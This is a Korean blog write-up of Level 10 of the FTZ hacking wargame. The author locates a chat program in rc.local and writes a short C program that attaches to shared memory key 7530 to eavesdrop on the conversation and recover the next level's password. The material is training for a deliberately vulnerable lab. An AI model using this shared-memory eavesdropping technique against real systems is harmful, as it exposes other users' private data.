본문으로 바로가기

Level 10 문제 해결 (공유 메모리 해킹)

category Security/리버싱 2017. 12. 1. 20:55

ftz.hackschool.org의 이미지를 사용하여 실습했습니다. 


- Level10

level10 / interesting to hack!


[level10@ftz level10]$ ls -l

 

 합계 16

-rw-r-----    1 root     level10       253  1월 14  2010 hint

drwxr-x---    2 root     root         4096  3월 29  2003 program

drwxr-xr-x    2 root     level10      4096  2월 24  2002 public_html

drwxrwxr-x    2 root     level10      4096  1월 16  2009 tmp

 

> hint는 늘 있던거고 program 이라고 하는 것도 눈에 띄네요


[level10@ftz level10]$ cat hint

 

 

두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.

그 대화방은 공유 메모리를 이용하여 만들어졌으며,

key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여

level11의 권한을 얻어라.


- 레벨을 완료하셨다면 소스는 지우고 나가주세요.


 

> 힌트 파일을 먼저 열어보면 공유메모리를 사용하는 대화방을 확인해라.

> program 디렉토리 안에 뭔가 있는거 같은대 아마 대화하는 프로그램일거 같습니다.


[level10@ftz level10]$ find / -user level11 -perm -4000 2>/dev/null

> 파일이 없습니다. 

> program이라는 디렉토리 안에 뭔가 있을꺼고 저 디렉토리를 사용하는 파일을 찾아봅니다. 


[level10@ftz level10]$ find / -type f -exec egrep -l /home/level10/program {} \; 2>/dev/null

 

/proc/3481/cmdline

/etc/rc.d/rc.local

....

 

> 시간이 꽤 지났는대도 끝나지 않아 일단 끊고 두 개의 파일을 확인해본다. 


[level10@ftz level10]$ ls -l /proc/3481/cmdline

 

 ls: /proc/3481/cmdline: 그런 파일이나 디렉토리가 없음

 


[level10@ftz level10]$ ls -l /etc/rc.d/rc.local

 

 -rwxr-xr-x    1 root     root          546 11월 27 19:29 /etc/rc.d/rc.local

 

> 하나는 없다고 나오니 rc.local을 읽어 봅니다. 


[level10@ftz level10]$ cat /etc/rc.d/rc.local

 

#!/bin/sh

#

# This script will be executed *after* all the other init scripts.

# You can put your own initialization stuff in here if you don't

# want to do the full Sys V style init stuff.


touch /var/lock/subsys/local


# setting hostname

hostname ftz.hackerschool.org


# run web server

/etc/init.d/httpd start


# open level4 port

cp /bin/ls /home/level4/tmp/backdoor

chown level4.level4 /home/level4/tmp/backdoor

/etc/init.d/xinetd restart

rm -rf /home/level4/tmp/backdoor


# run level10

/home/level10/program/level10


# get ip

#dhclient eth0 

 

> /etc/rc.d 의 파일들은 시작할때 실행되는 파일들이다. 그 속의 파일에 /home/level10/grogram/level10 프로그램이 실행되도록 되어있다. 


> 혹시 프로그램이 실행중인지 확인해본다.


[level10@ftz level10]$ ps -ef | grep level

 

level10   3443  3442  0 20:20 pts/0    00:00:00 -bash

level10   6402  3443  0 20:36 pts/0    00:00:00 ps -ef

level10   6403  3443  0 20:36 pts/0    00:00:00 grep level

 

> 실행되는 것은 없는 것 같다. 아마 수행하고 바로 꺼지는 프로그램인 듯 하다. 


그럼 힌트가 결국 key_t 라는 것과 공유 메모리를 사용한다는 점이다. 

[참고] 공유 메모리 관련 함수 
1. shmget()
공유 메모리를 생성하거나 공유 메모리를 사용할 수 있는 함수 
-> 생성된 공유 메모리의 ID 반환
형식 : int shmget(key_t key, int size, int shmflg);
- key_t key  : 공유 메모리를 읽기 위한 key 변수
- int size   : 공유 메모리의 크기
- int shmflg : 공유 메모리 생성이나 사용 옵션을 지정               
- IPC_CREAT : 공유 메모리 생성               
- 0666      : 공유 메모리 사용 권한

2. shmat()
이미 할당된 공유 메모리 공간을 다른 프로세스에서 사용할 수 있게 권한을 부여하는 함수 
-> 생성된 공유 메모리를 프로세스에 연결(Attach)
형식 : void *shmat(int shmid, const void *shmaddr, int shmflg)
- int shmid           : 공유 메모리를 생성할 때 만들어진 공유 메모리 ID
- const void *shmaddr : 공유 메모리가 할당된 주소
- int shmflg          : 공유 메모리 사용 옵션을 지정                        
- SHM_RND : 공유 메모리 주소를 프로세스에 맞게 따로 할당                        
- SHM_RDONLY : 공유 메모리를 읽기 전용으로 설정

3. shmdt()
다른 프로세스에 연결된 공유 메모리 공간의 사용을 끝낸 후 프로세스와 공유 메모리 공간의 연결을 끊는다. 
-> 프로세스에 연결된 공유 메모리를 분리 (Detach)
형식 : int shmdt(const void *shmaddr);
- const void *shmaddr : 공유 메모리가 할당된 주소

[level10@ftz level10]$ cd tmp
[level10@ftz tmp]$ vi shm.c

 

#include <stdio.h>

#include <sys/shm.h>

#include <sys/types.h>

#include <string.h>



#define BUFFSIZE 1024

int main()
{
        void *sharedMemory=(void *)0;
        int sharedMemID;
        char buf[BUFFSIZE];

        key_t keyval=7530;

        sharedMemID=shmget(keyval, BUFFSIZE, 0666);

        sharedMemory=shmat(sharedMemID, (void *)0, 0);

        memcpy(buf, sharedMemory, BUFFSIZE);
        printf("%s", buf);

        shmdt(sharedMemory);

        return 0;
}

 

> 힌트에서 나온 7530의 값을 가진 메모리의 ID 값을 얻어 다른 메모리랑 연결하고 내용을 복사해서 출력하는 소스


[level10@ftz tmp]$ gcc -o shm shm.c

[level10@ftz tmp]$ ./shm

 

멍멍: level11의 패스워드는?

구타: what!@#$?

 

> 패스워드를 얻어냈다. 


'Security > 리버싱' 카테고리의 다른 글

포맷스트링 버그 (Format String Bug)  (0) 2017.12.01
Level10 분석 (공유 메모리)  (0) 2017.12.01
Level9 응용 (스크립트로 반복되는 문자 입력)  (0) 2017.11.30
Level9 문제 해결  (0) 2017.11.30
Level8 문제 해결  (0) 2017.11.30